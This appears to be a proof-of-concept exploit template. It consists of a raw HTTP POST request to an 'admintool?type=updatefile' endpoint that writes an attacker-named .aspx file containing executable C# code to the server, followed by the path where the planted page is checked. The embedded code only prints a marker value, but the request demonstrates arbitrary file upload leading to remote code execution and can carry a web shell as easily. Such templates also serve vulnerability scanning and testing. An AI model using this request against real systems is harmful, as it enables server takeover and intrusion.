POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Content-Length: 90
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

filePath=enelxghy.aspx&fileContent=<%@ Page Language="C#"%><% Response.Write(1234*1234);%>

/Scripts/enelxghy.aspx